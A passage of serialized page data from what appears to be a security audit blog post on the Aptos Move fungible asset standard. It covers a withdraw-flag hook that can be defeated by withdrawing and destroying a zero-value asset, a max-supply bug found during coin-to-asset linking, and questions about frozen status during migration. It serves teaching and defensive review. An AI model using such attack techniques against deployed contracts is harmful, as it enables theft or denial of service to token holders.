assert_withdraw_flag",{"type":24,"tag":158,"props":67634,"children":67635},{"style":188},[67636],{"type":29,"value":504},{"type":24,"tag":158,"props":67638,"children":67639},{"style":165},[67640],{"type":29,"value":3185},{"type":24,"tag":158,"props":67642,"children":67643},{"style":188},[67644],{"type":29,"value":1071},{"type":24,"tag":158,"props":67646,"children":67647},{"class":160,"line":238},[67648,67652,67656],{"type":24,"tag":158,"props":67649,"children":67650},{"style":188},[67651],{"type":29,"value":63992},{"type":24,"tag":158,"props":67653,"children":67654},{"style":222},[67655],{"type":29,"value":377},{"type":24,"tag":158,"props":67657,"children":67658},{"style":188},[67659],{"type":29,"value":2647},{"type":24,"tag":158,"props":67661,"children":67662},{"class":160,"line":259},[67663,67668,67672,67676],{"type":24,"tag":158,"props":67664,"children":67665},{"style":496},[67666],{"type":29,"value":67667}," set_withdraw_flag",{"type":24,"tag":158,"props":67669,"children":67670},{"style":188},[67671],{"type":29,"value":504},{"type":24,"tag":158,"props":67673,"children":67674},{"style":165},[67675],{"type":29,"value":4404},{"type":24,"tag":158,"props":67677,"children":67678},{"style":188},[67679],{"type":29,"value":1071},{"type":24,"tag":158,"props":67681,"children":67682},{"class":160,"line":280},[67683,67687,67691,67695,67699,67703,67707,67711,67715,67719],{"type":24,"tag":158,"props":67684,"children":67685},{"style":188},[67686],{"type":29,"value":67235},{"type":24,"tag":158,"props":67688,"children":67689},{"style":222},[67690],{"type":29,"value":2146},{"type":24,"tag":158,"props":67692,"children":67693},{"style":496},[67694],{"type":29,"value":67423},{"type":24,"tag":158,"props":67696,"children":67697},{"style":188},[67698],{"type":29,"value":504},{"type":24,"tag":158,"props":67700,"children":67701},{"style":177},[67702],{"type":29,"value":67253},{"type":24,"tag":158,"props":67704,"children":67705},{"style":188},[67706],{"type":29,"value":191},{"type":24,"tag":158,"props":67708,"children":67709},{"style":177},[67710],{"type":29,"value":205},{"type":24,"tag":158,"props":67712,"children":67713},{"style":188},[67714],{"type":29,"value":191},{"type":24,"tag":158,"props":67716,"children":67717},{"style":177},[67718],{"type":29,"value":21550},{"type":24,"tag":158,"props":67720,"children":67721},{"style":188},[67722],{"type":29,"value":1071},{"type":24,"tag":158,"props":67724,"children":67725},{"class":160,"line":301},[67726,67730,67734],{"type":24,"tag":158,"props":67727,"children":67728},{"style":188},[67729],{"type":29,"value":63992},{"type":24,"tag":158,"props":67731,"children":67732},{"style":222},[67733],{"type":29,"value":377},{"type":24,"tag":158,"props":67735,"children":67736},{"style":188},[67737],{"type":29,"value":2647},{"type":24,"tag":158,"props":67739,"children":67740},{"class":160,"line":626},[67741],{"type":24,"tag":158,"props":67742,"children":67743},{"style":188},[67744],{"type":29,"value":3967},{"type":24,"tag":158,"props":67746,"children":67747},{"class":160,"line":668},[67748],{"type":24,"tag":158,"props":67749,"children":67750},{"emptyLinePlaceholder":16},[67751],{"type":29,"value":481},{"type":24,"tag":158,"props":67753,"children":67754},{"class":160,"line":676},[67755,67759,67763,67767,67771,67775,67779,67783,67787,67791,67795,67799,67803,67807,67811,67815,67819,67823,67827,67831,67835,67839,67843,67847,67851,67855,67859,67863,67867],{"type":24,"tag":158,"props":67756,"children":67757},{"style":177},[67758],{"type":29,"value":62949},{"type":24,"tag":158,"props":67760,"children":67761},{"style":177},[67762],{"type":29,"value":493},{"type":24,"tag":158,"props":67764,"children":67765},{"style":177},[67766],{"type":29,"value":21515},{"type":24,"tag":158,"props":67768,"children":67769},{"style":188},[67770],{"type":29,"value":3760},{"type":24,"tag":158,"props":67772,"children":67773},{"style":171},[67774],{"type":29,"value":7637},{"type":24,"tag":158,"props":67776,"children":67777},{"style":222},[67778],{"type":29,"value":225},{"type":24,"tag":158,"props":67780,"children":67781},{"style":177},[67782],{"type":29,"value":7582},{"type":24,"tag":158,"props":67784,"children":67785},{"style":188},[67786],{"type":29,"value":3817},{"type":24,"tag":158,"props":67788,"children":67789},{"style":177},[67790],{"type":29,"value":205},{"type":24,"tag":158,"props":67792,"children":67793},{"style":222},[67794],{"type":29,"value":225},{"type":24,"tag":158,"props":67796,"children":67797},{"style":171},[67798],{"type":29,"value":62835},{"type":24,"tag":158,"props":67800,"children":67801},{"style":188},[67802],{"type":29,"value":3760},{"type":24,"tag":158,"props":67804,"children":67805},{"style":171},[67806],{"type":29,"value":7637},{"type":24,"tag":158,"props":67808,"children":67809},{"style":188},[67810],{"type":29,"value":8278},{"type":24,"tag":158,"props":67812,"children":67813},{"style":177},[67814],{"type":29,"value":21550},{"type":24,"tag":158,"props":67816,"children":67817},{"style":222},[67818],{"type":29,"value":225},{"type":24,"tag":158,"props":67820,"children":67821},{"style":171},[67822],{"type":29,"value":230},{"type":24,"tag":158,"props":67824,"children":67825},{"style":188},[67826],{"type":29,"value":191},{"type":24,"tag":158,"props":67828,"children":67829},{"style":177},[67830],{"type":29,"value":67253},{"type":24,"tag":158,"props":67832,"children":67833},{"style":222},[67834],{"type":29,"value":225},{"type":24,"tag":158,"props":67836,"children":67837},{"style":222},[67838],{"type":29,"value":8784},{"type":24,"tag":158,"props":67840,"children":67841},{"style":171},[67842],{"type":29,"value":66699},{"type":24,"tag":158,"props":67844,"children":67845},{"style":188},[67846],{"type":29,"value":521},{"type":24,"tag":158,"props":67848,"children":67849},{"style":222},[67850],{"type":29,"value":225},{"type":24,"tag":158,"props":67852,"children":67853},{"style":171},[67854],{"type":29,"value":62814},{"type":24,"tag":158,"props":67856,"children":67857},{"style":177},[67858],{"type":29,"value":9208},{"type":24,"tag":158,"props":67860,"children":67861},{"style":188},[67862],{"type":29,"value":24277},{"type":24,"tag":158,"props":67864,"children":67865},{"style":222},[67866],{"type":29,"value":377},{"type":24,"tag":158,"props":67868,"children":67869},{"style":188},[67870],{"type":29,"value":63040},{"type":24,"tag":158,"props":67872,"children":67873},{"class":160,"line":684},[67874,67878,67882,67886],{"type":24,"tag":158,"props":67875,"children":67876},{"style":496},[67877],{"type":29,"value":67632},{"type":24,"tag":158,"props":67879,"children":67880},{"style":188},[67881],{"type":29,"value":504},{"type":24,"tag":158,"props":67883,"children":67884},{"style":165},[67885],{"type":29,"value":4404},{"type":24,"tag":158,"props":67887,"children":67888},{"style":188},[67889],{"type":29,"value":1071},{"type":24,"tag":158,"props":67891,"children":67892},{"class":160,"line":700},[67893,67897,67901],{"type":24,"tag":158,"props":67894,"children":67895},{"style":188},[67896],{"type":29,"value":63992},{"type":24,"tag":158,"props":67898,"children":67899},{"style":222},[67900],{"type":29,"value":377},{"type":24,"tag":158,"props":67902,"children":67903},{"style":188},[67904],{"type":29,"value":2647},{"type":24,"tag":158,"props":67906,"children":67907},{"class":160,"line":785},[67908,67912,67916,67920],{"type":24,"tag":158,"props":67909,"children":67910},{"style":496},[67911],{"type":29,"value":67667},{"type":24,"tag":158,"props":67913,"children":67914},{"style":188},[67915],{"type":29,"value":504},{"type":24,"tag":158,"props":67917,"children":67918},{"style":165},[67919],{"type":29,"value":3185},{"type":24,"tag":158,"props":67921,"children":67922},{"style":188},[67923],{"type":29,"value":1071},{"type":24,"tag":158,"props":67925,"children":67926},{"class":160,"line":1447},[67927,67931,67935,67939,67943,67947,67951,67955,67959,67963],{"type":24,"tag":158,"props":67928,"children":67929},{"style":188},[67930],{"type":29,"value":67235},{"type":24,"tag":158,"props":67932,"children":67933},{"style":222},[67934],{"type":29,"value":2146},{"type":24,"tag":158,"props":67936,"children":67937},{"style":496},[67938],{"type":29,"value":67244},{"type":24,"tag":158,"props":67940,"children":67941},{"style":188},[67942],{"type":29,"value":504},{"type":24,"tag":158,"props":67944,"children":67945},{"style":177},[67946],{"type":29,"value":67253},{"type":24,"tag":158,"props":67948,"children":67949},{"style":188},[67950],{"type":29,"value":191},{"type":24,"tag":158,"props":67952,"children":67953},{"style":177},[67954],{"type":29,"value":205},{"type":24,"tag":158,"props":67956,"children":67957},{"style":188},[67958],{"type":29,"value":191},{"type":24,"tag":158,"props":67960,"children":67961},{"style":177},[67962],{"type":29,"value":21550},{"type":24,"tag":158,"props":67964,"children":67965},{"style":188},[67966],{"type":29,"value":2125},{"type":24,"tag":158,"props":67968,"children":67969},{"class":160,"line":1509},[67970],{"type":24,"tag":158,"props":67971,"children":67972},{"style":188},[67973],{"type":29,"value":307},{"type":24,"tag":25,"props":67975,"children":67976},{},[67977],{"type":29,"value":67978},"At first glance, this code appears valid, but not to an astute reader.",{"type":24,"tag":67460,"props":67980,"children":67981},{},[67982,67987],{"type":24,"tag":25,"props":67983,"children":67984},{},[67985],{"type":29,"value":67986},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":24,"tag":67491,"props":67988,"children":67989},{"v-slot:answer-0":7},[67990,68010],{"type":24,"tag":25,"props":67991,"children":67992},{},[67993,67995,68000,68002,68008],{"type":29,"value":67994},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":24,"tag":154,"props":67996,"children":67998},{"className":67997},[],[67999],{"type":29,"value":62785},{"type":29,"value":68001}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":24,"tag":154,"props":68003,"children":68005},{"className":68004},[],[68006],{"type":29,"value":68007},"fungible_asset::destroy_zero",{"type":29,"value":68009},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":24,"tag":25,"props":68011,"children":68012},{},[68013],{"type":29,"value":68014},"It's important to understand all the features in the standard.",{"type":24,"tag":59,"props":68016,"children":68018},{"id":68017},"migrating-from-coins-to-fungible-assets",[68019],{"type":29,"value":68020},"Migrating from coins to fungible assets",{"type":24,"tag":25,"props":68022,"children":68023},{},[68024,68026,68031],{"type":29,"value":68025},"If a fungible asset is considered an upgrade to ",{"type":24,"tag":154,"props":68027,"children":68029},{"className":68028},[],[68030],{"type":29,"value":62240},{"type":29,"value":68032},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":24,"tag":68034,"props":68035,"children":68036},"note",{},[68037],{"type":24,"tag":25,"props":68038,"children":68039},{},[68040,68042,68047,68049,68054],{"type":29,"value":68041},"While the ",{"type":24,"tag":154,"props":68043,"children":68045},{"className":68044},[],[68046],{"type":29,"value":62240},{"type":29,"value":68048}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":24,"tag":154,"props":68050,"children":68052},{"className":68051},[],[68053],{"type":29,"value":62240},{"type":29,"value":347},{"type":24,"tag":25,"props":68056,"children":68057},{},[68058,68059,68065,68067,68072,68074,68079],{"type":29,"value":17850},{"type":24,"tag":154,"props":68060,"children":68062},{"className":68061},[],[68063],{"type":29,"value":68064},"coin_to_fungible_asset",{"type":29,"value":68066}," converting function automatically generates a corresponding fungible asset for a ",{"type":24,"tag":154,"props":68068,"children":68070},{"className":68069},[],[68071],{"type":29,"value":62240},{"type":29,"value":68073}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":24,"tag":154,"props":68075,"children":68077},{"className":68076},[],[68078],{"type":29,"value":62240},{"type":29,"value":68080}," is not allowed.",{"type":24,"tag":147,"props":68082,"children":68084},{"className":151,"code":68083,"language":150,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n let metadata = ensure_paired_metadata\u003CCoinType>();\n let amount = burn_internal(coin);\n fungible_asset::mint_internal(metadata, amount)\n}\n",[68085],{"type":24,"tag":154,"props":68086,"children":68087},{"__ignoreMap":7},[68088,68116,68143,68179,68212,68245,68281],{"type":24,"tag":158,"props":68089,"children":68090},{"class":160,"line":161},[68091,68095,68099,68104,68108,68112],{"type":24,"tag":158,"props":68092,"children":68093},{"style":177},[68094],{"type":29,"value":62949},{"type":24,"tag":158,"props":68096,"children":68097},{"style":177},[68098],{"type":29,"value":493},{"type":24,"tag":158,"props":68100,"children":68101},{"style":177},[68102],{"type":29,"value":68103}," coin_to_fungible_asset",{"type":24,"tag":158,"props":68105,"children":68106},{"style":188},[68107],{"type":29,"value":3760},{"type":24,"tag":158,"props":68109,"children":68110},{"style":171},[68111],{"type":29,"value":8231},{"type":24,"tag":158,"props":68113,"children":68114},{"style":188},[68115],{"type":29,"value":8236},{"type":24,"tag":158,"props":68117,"children":68118},{"class":160,"line":213},[68119,68123,68127,68131,68135,68139],{"type":24,"tag":158,"props":68120,"children":68121},{"style":177},[68122],{"type":29,"value":62459},{"type":24,"tag":158,"props":68124,"children":68125},{"style":222},[68126],{"type":29,"value":225},{"type":24,"tag":158,"props":68128,"children":68129},{"style":171},[68130],{"type":29,"value":7454},{"type":24,"tag":158,"props":68132,"children":68133},{"style":188},[68134],{"type":29,"value":3760},{"type":24,"tag":158,"props":68136,"children":68137},{"style":171},[68138],{"type":29,"value":8231},{"type":24,"tag":158,"props":68140,"children":68141},{"style":188},[68142],{"type":29,"value":7642},{"type":24,"tag":158,"props":68144,"children":68145},{"class":160,"line":238},[68146,68150,68154,68158,68162,68167,68171,68175],{"type":24,"tag":158,"props":68147,"children":68148},{"style":188},[68149],{"type":29,"value":521},{"type":24,"tag":158,"props":68151,"children":68152},{"style":222},[68153],{"type":29,"value":225},{"type":24,"tag":158,"props":68155,"children":68156},{"style":171},[68157],{"type":29,"value":62814},{"type":24,"tag":158,"props":68159,"children":68160},{"style":177},[68161],{"type":29,"value":9208},{"type":24,"tag":158,"props":68163,"children":68164},{"style":171},[68165],{"type":29,"value":68166}," CoinConversionMap",{"type":24,"tag":158,"props":68168,"children":68169},{"style":188},[68170],{"type":29,"value":191},{"type":24,"tag":158,"props":68172,"children":68173},{"style":171},[68174],{"type":29,"value":8360},{"type":24,"tag":158,"props":68176,"children":68177},{"style":188},[68178],{"type":29,"value":210},{"type":24,"tag":158,"props":68180,"children":68181},{"class":160,"line":259},[68182,68186,68191,68195,68200,68204,68208],{"type":24,"tag":158,"props":68183,"children":68184},{"style":165},[68185],{"type":29,"value":2710},{"type":24,"tag":158,"props":68187,"children":68188},{"style":177},[68189],{"type":29,"value":68190}," metadata",{"type":24,"tag":158,"props":68192,"children":68193},{"style":222},[68194],{"type":29,"value":462},{"type":24,"tag":158,"props":68196,"children":68197},{"style":177},[68198],{"type":29,"value":68199}," ensure_paired_metadata",{"type":24,"tag":158,"props":68201,"children":68202},{"style":188},[68203],{"type":29,"value":3760},{"type":24,"tag":158,"props":68205,"children":68206},{"style":171},[68207],{"type":29,"value":8231},{"type":24,"tag":158,"props":68209,"children":68210},{"style":188},[68211],{"type":29,"value":10063},{"type":24,"tag":158,"props":68213,"children":68214},{"class":160,"line":280},[68215,68219,68224,68228,68233,68237,68241],{"type":24,"tag":158,"props":68216,"children":68217},{"style":165},[68218],{"type":29,"value":2710},{"type":24,"tag":158,"props":68220,"children":68221},{"style":177},[68222],{"type":29,"value":68223}," amount",{"type":24,"tag":158,"props":68225,"children":68226},{"style":222},[68227],{"type":29,"value":462},{"type":24,"tag":158,"props":68229,"children":68230},{"style":496},[68231],{"type":29,"value":68232}," burn_internal",{"type":24,"tag":158,"props":68234,"children":68235},{"style":188},[68236],{"type":29,"value":504},{"type":24,"tag":158,"props":68238,"children":68239},{"style":177},[68240],{"type":29,"value":62207},{"type":24,"tag":158,"props":68242,"children":68243},{"style":188},[68244],{"type":29,"value":1071},{"type":24,"tag":158,"props":68246,"children":68247},{"class":160,"line":301},[68248,68252,68256,68261,68265,68269,68273,68277],{"type":24,"tag":158,"props":68249,"children":68250},{"style":188},[68251],{"type":29,"value":67235},{"type":24,"tag":158,"props":68253,"children":68254},{"style":222},[68255],{"type":29,"value":2146},{"type":24,"tag":158,"props":68257,"children":68258},{"style":496},[68259],{"type":29,"value":68260},"mint_internal",{"type":24,"tag":158,"props":68262,"children":68263},{"style":188},[68264],{"type":29,"value":504},{"type":24,"tag":158,"props":68266,"children":68267},{"style":177},[68268],{"type":29,"value":63586},{"type":24,"tag":158,"props":68270,"children":68271},{"style":188},[68272],{"type":29,"value":191},{"type":24,"tag":158,"props":68274,"children":68275},{"style":177},[68276],{"type":29,"value":21550},{"type":24,"tag":158,"props":68278,"children":68279},{"style":188},[68280],{"type":29,"value":2125},{"type":24,"tag":158,"props":68282,"children":68283},{"class":160,"line":626},[68284],{"type":24,"tag":158,"props":68285,"children":68286},{"style":188},[68287],{"type":29,"value":307},{"type":24,"tag":25,"props":68289,"children":68290},{},[68291,68293,68300],{"type":29,"value":68292},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":24,"tag":101,"props":68294,"children":68297},{"href":68295,"rel":68296},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[105],[68298],{"type":29,"value":68299},"noticed an overlooked detail",{"type":29,"value":68301}," in the linking process.",{"type":24,"tag":147,"props":68303,"children":68305},{"className":151,"code":68304,"language":150,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n &metadata_object_cref,\n option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n name\u003CCoinType>(),\n symbol\u003CCoinType>(),\n decimals\u003CCoinType>(),\n string::utf8(b\"\"),\n string::utf8(b\"\"),\n);\n[...]\n",[68306],{"type":24,"tag":154,"props":68307,"children":68308},{"__ignoreMap":7},[68309,68324,68344,68361,68417,68438,68458,68478,68508,68535,68542],{"type":24,"tag":158,"props":68310,"children":68311},{"class":160,"line":161},[68312,68316,68320],{"type":24,"tag":158,"props":68313,"children":68314},{"style":188},[68315],{"type":29,"value":2048},{"type":24,"tag":158,"props":68317,"children":68318},{"style":222},[68319],{"type":29,"value":377},{"type":24,"tag":158,"props":68321,"children":68322},{"style":188},[68323],{"type":29,"value":2647},{"type":24,"tag":158,"props":68325,"children":68326},{"class":160,"line":213},[68327,68331,68335,68340],{"type":24,"tag":158,"props":68328,"children":68329},{"style":188},[68330],{"type":29,"value":63883},{"type":24,"tag":158,"props":68332,"children":68333},{"style":222},[68334],{"type":29,"value":2146},{"type":24,"tag":158,"props":68336,"children":68337},{"style":496},[68338],{"type":29,"value":68339},"create_primary_store_enabled_fungible_asset",{"type":24,"tag":158,"props":68341,"children":68342},{"style":188},[68343],{"type":29,"value":2156},{"type":24,"tag":158,"props":68345,"children":68346},{"class":160,"line":238},[68347,68352,68357],{"type":24,"tag":158,"props":68348,"children":68349},{"style":222},[68350],{"type":29,"value":68351}," &",{"type":24,"tag":158,"props":68353,"children":68354},{"style":177},[68355],{"type":29,"value":68356},"metadata_object_cref",{"type":24,"tag":158,"props":68358,"children":68359},{"style":188},[68360],{"type":29,"value":235},{"type":24,"tag":158,"props":68362,"children":68363},{"class":160,"line":259},[68364,68369,68373,68378,68382,68387,68391,68395,68400,68404,68408,68412],{"type":24,"tag":158,"props":68365,"children":68366},{"style":188},[68367],{"type":29,"value":68368}," option",{"type":24,"tag":158,"props":68370,"children":68371},{"style":222},[68372],{"type":29,"value":2146},{"type":24,"tag":158,"props":68374,"children":68375},{"style":496},[68376],{"type":29,"value":68377},"map",{"type":24,"tag":158,"props":68379,"children":68380},{"style":188},[68381],{"type":29,"value":504},{"type":24,"tag":158,"props":68383,"children":68384},{"style":177},[68385],{"type":29,"value":68386},"coin_supply",{"type":24,"tag":158,"props":68388,"children":68389},{"style":188},[68390],{"type":29,"value":3760},{"type":24,"tag":158,"props":68392,"children":68393},{"style":171},[68394],{"type":29,"value":8231},{"type":24,"tag":158,"props":68396,"children":68397},{"style":188},[68398],{"type":29,"value":68399},">(), ",{"type":24,"tag":158,"props":68401,"children":68402},{"style":222},[68403],{"type":29,"value":1234},{"type":24,"tag":158,"props":68405,"children":68406},{"style":177},[68407],{"type":29,"value":4750},{"type":24,"tag":158,"props":68409,"children":68410},{"style":222},[68411],{"type":29,"value":1234},{"type":24,"tag":158,"props":68413,"children":68414},{"style":188},[68415],{"type":29,"value":68416}," MAX_U128),\n",{"type":24,"tag":158,"props":68418,"children":68419},{"class":160,"line":280},[68420,68425,68429,68433],{"type":24,"tag":158,"props":68421,"children":68422},{"style":177},[68423],{"type":29,"value":68424}," name",{"type":24,"tag":158,"props":68426,"children":68427},{"style":188},[68428],{"type":29,"value":3760},{"type":24,"tag":158,"props":68430,"children":68431},{"style":171},[68432],{"type":29,"value":8231},{"type":24,"tag":158,"props":68434,"children":68435},{"style":188},[68436],{"type":29,"value":68437},">(),\n",{"type":24,"tag":158,"props":68439,"children":68440},{"class":160,"line":301},[68441,68446,68450,68454],{"type":24,"tag":158,"props":68442,"children":68443},{"style":177},[68444],{"type":29,"value":68445}," symbol",{"type":24,"tag":158,"props":68447,"children":68448},{"style":188},[68449],{"type":29,"value":3760},{"type":24,"tag":158,"props":68451,"children":68452},{"style":171},[68453],{"type":29,"value":8231},{"type":24,"tag":158,"props":68455,"children":68456},{"style":188},[68457],{"type":29,"value":68437},{"type":24,"tag":158,"props":68459,"children":68460},{"class":160,"line":626},[68461,68466,68470,68474],{"type":24,"tag":158,"props":68462,"children":68463},{"style":177},[68464],{"type":29,"value":68465}," decimals",{"type":24,"tag":158,"props":68467,"children":68468},{"style":188},[68469],{"type":29,"value":3760},{"type":24,"tag":158,"props":68471,"children":68472},{"style":171},[68473],{"type":29,"value":8231},{"type":24,"tag":158,"props":68475,"children":68476},{"style":188},[68477],{"type":29,"value":68437},{"type":24,"tag":158,"props":68479,"children":68480},{"class":160,"line":668},[68481,68486,68490,68495,68499,68504],{"type":24,"tag":158,"props":68482,"children":68483},{"style":188},[68484],{"type":29,"value":68485}," string",{"type":24,"tag":158,"props":68487,"children":68488},{"style":222},[68489],{"type":29,"value":2146},{"type":24,"tag":158,"props":68491,"children":68492},{"style":496},[68493],{"type":29,"value":68494},"utf8",{"type":24,"tag":158,"props":68496,"children":68497},{"style":188},[68498],{"type":29,"value":504},{"type":24,"tag":158,"props":68500,"children":68501},{"style":1108},[68502],{"type":29,"value":68503},"b\"\"",{"type":24,"tag":158,"props":68505,"children":68506},{"style":188},[68507],{"type":29,"value":8382},{"type":24,"tag":158,"props":68509,"children":68510},{"class":160,"line":676},[68511,68515,68519,68523,68527,68531],{"type":24,"tag":158,"props":68512,"children":68513},{"style":188},[68514],{"type":29,"value":68485},{"type":24,"tag":158,"props":68516,"children":68517},{"style":222},[68518],{"type":29,"value":2146},{"type":24,"tag":158,"props":68520,"children":68521},{"style":496},[68522],{"type":29,"value":68494},{"type":24,"tag":158,"props":68524,"children":68525},{"style":188},[68526],{"type":29,"value":504},{"type":24,"tag":158,"props":68528,"children":68529},{"style":1108},[68530],{"type":29,"value":68503},{"type":24,"tag":158,"props":68532,"children":68533},{"style":188},[68534],{"type":29,"value":8382},{"type":24,"tag":158,"props":68536,"children":68537},{"class":160,"line":684},[68538],{"type":24,"tag":158,"props":68539,"children":68540},{"style":188},[68541],{"type":29,"value":1071},{"type":24,"tag":158,"props":68543,"children":68544},{"class":160,"line":700},[68545,68549,68553],{"type":24,"tag":158,"props":68546,"children":68547},{"style":188},[68548],{"type":29,"value":2048},{"type":24,"tag":158,"props":68550,"children":68551},{"style":222},[68552],{"type":29,"value":377},{"type":24,"tag":158,"props":68554,"children":68555},{"style":188},[68556],{"type":29,"value":2647},{"type":24,"tag":25,"props":68558,"children":68559},{},[68560,68562,68567],{"type":29,"value":68561},"When the linked fungible asset was created, the current ",{"type":24,"tag":154,"props":68563,"children":68565},{"className":68564},[],[68566],{"type":29,"value":62240},{"type":29,"value":68568}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":24,"tag":25,"props":68570,"children":68571},{},[68572,68574,68579,68581,68587,68589,68594],{"type":29,"value":68573},"Users can manually migrate their ",{"type":24,"tag":154,"props":68575,"children":68577},{"className":68576},[],[68578],{"type":29,"value":62402},{"type":29,"value":68580}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":24,"tag":154,"props":68582,"children":68584},{"className":68583},[],[68585],{"type":29,"value":68586},"\u003CCoinStore\u003CCoinType>>",{"type":29,"value":68588}," from the caller. All coins in the ",{"type":24,"tag":154,"props":68590,"children":68592},{"className":68591},[],[68593],{"type":29,"value":62402},{"type":29,"value":68595}," are exchanged and transferred to the new store during the migration.",{"type":24,"tag":147,"props":68597,"children":68599},{"className":151,"code":68598,"language":150,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[68600],{"type":24,"tag":154,"props":68601,"children":68602},{"__ignoreMap":7},[68603,68611,68643,68663,68699,68740],{"type":24,"tag":158,"props":68604,"children":68605},{"class":160,"line":161},[68606],{"type":24,"tag":158,"props":68607,"children":68608},{"style":2588},[68609],{"type":29,"value":68610},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":24,"tag":158,"props":68612,"children":68613},{"class":160,"line":213},[68614,68618,68622,68626,68631,68635,68639],{"type":24,"tag":158,"props":68615,"children":68616},{"style":177},[68617],{"type":29,"value":62949},{"type":24,"tag":158,"props":68619,"children":68620},{"style":177},[68621],{"type":29,"value":63916},{"type":24,"tag":158,"props":68623,"children":68624},{"style":177},[68625],{"type":29,"value":493},{"type":24,"tag":158,"props":68627,"children":68628},{"style":177},[68629],{"type":29,"value":68630}," migrate_to_fungible_store",{"type":24,"tag":158,"props":68632,"children":68633},{"style":188},[68634],{"type":29,"value":3760},{"type":24,"tag":158,"props":68636,"children":68637},{"style":171},[68638],{"type":29,"value":8231},{"type":24,"tag":158,"props":68640,"children":68641},{"style":188},[68642],{"type":29,"value":8236},{"type":24,"tag":158,"props":68644,"children":68645},{"class":160,"line":238},[68646,68650,68654,68658],{"type":24,"tag":158,"props":68647,"children":68648},{"style":177},[68649],{"type":29,"value":26428},{"type":24,"tag":158,"props":68651,"children":68652},{"style":222},[68653],{"type":29,"value":225},{"type":24,"tag":158,"props":68655,"children":68656},{"style":222},[68657],{"type":29,"value":8784},{"type":24,"tag":158,"props":68659,"children":68660},{"style":177},[68661],{"type":29,"value":68662},"signer\n",{"type":24,"tag":158,"props":68664,"children":68665},{"class":160,"line":259},[68666,68670,68674,68678,68682,68687,68691,68695],{"type":24,"tag":158,"props":68667,"children":68668},{"style":188},[68669],{"type":29,"value":723},{"type":24,"tag":158,"props":68671,"children":68672},{"style":177},[68673],{"type":29,"value":4286},{"type":24,"tag":158,"props":68675,"children":68676},{"style":171},[68677],{"type":29,"value":62423},{"type":24,"tag":158,"props":68679,"children":68680},{"style":188},[68681],{"type":29,"value":191},{"type":24,"tag":158,"props":68683,"children":68684},{"style":171},[68685],{"type":29,"value":68686},"CoinConversionMap",{"type":24,"tag":158,"props":68688,"children":68689},{"style":188},[68690],{"type":29,"value":191},{"type":24,"tag":158,"props":68692,"children":68693},{"style":171},[68694],{"type":29,"value":8360},{"type":24,"tag":158,"props":68696,"children":68697},{"style":188},[68698],{"type":29,"value":210},{"type":24,"tag":158,"props":68700,"children":68701},{"class":160,"line":280},[68702,68707,68711,68715,68720,68724,68728,68732,68736],{"type":24,"tag":158,"props":68703,"children":68704},{"style":177},[68705],{"type":29,"value":68706}," maybe_convert_to_fungible_store",{"type":24,"tag":158,"props":68708,"children":68709},{"style":188},[68710],{"type":29,"value":3760},{"type":24,"tag":158,"props":68712,"children":68713},{"style":171},[68714],{"type":29,"value":8231},{"type":24,"tag":158,"props":68716,"children":68717},{"style":188},[68718],{"type":29,"value":68719},">(signer",{"type":24,"tag":158,"props":68721,"children":68722},{"style":222},[68723],{"type":29,"value":2146},{"type":24,"tag":158,"props":68725,"children":68726},{"style":496},[68727],{"type":29,"value":3835},{"type":24,"tag":158,"props":68729,"children":68730},{"style":188},[68731],{"type":29,"value":504},{"type":24,"tag":158,"props":68733,"children":68734},{"style":177},[68735],{"type":29,"value":3844},{"type":24,"tag":158,"props":68737,"children":68738},{"style":188},[68739],{"type":29,"value":3849},{"type":24,"tag":158,"props":68741,"children":68742},{"class":160,"line":301},[68743],{"type":24,"tag":158,"props":68744,"children":68745},{"style":188},[68746],{"type":29,"value":307},{"type":24,"tag":25,"props":68748,"children":68749},{},[68750,68752,68757,68759,68764],{"type":29,"value":68751},"A curious reader might wonder about the fate of the ",{"type":24,"tag":154,"props":68753,"children":68755},{"className":68754},[],[68756],{"type":29,"value":62402},{"type":29,"value":68758}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":24,"tag":154,"props":68760,"children":68762},{"className":68761},[],[68763],{"type":29,"value":62402},{"type":29,"value":68765}," to ensure consistency.",{"type":24,"tag":67460,"props":68767,"children":68768},{},[68769,68788],{"type":24,"tag":25,"props":68770,"children":68771},{},[68772,68774,68779,68781,68786],{"type":29,"value":68773},"Could an attacker convert their ",{"type":24,"tag":154,"props":68775,"children":68777},{"className":68776},[],[68778],{"type":29,"value":62402},{"type":29,"value":68780}," to a primary fungible store and then register another ",{"type":24,"tag":154,"props":68782,"children":68784},{"className":68783},[],[68785],{"type":29,"value":62402},{"type":29,"value":68787}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":24,"tag":67491,"props":68789,"children":68790},{"v-slot:answer-0":7},[68791],{"type":24,"tag":25,"props":68792,"children":68793},{},[68794],{"type":29,"value":68795},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing 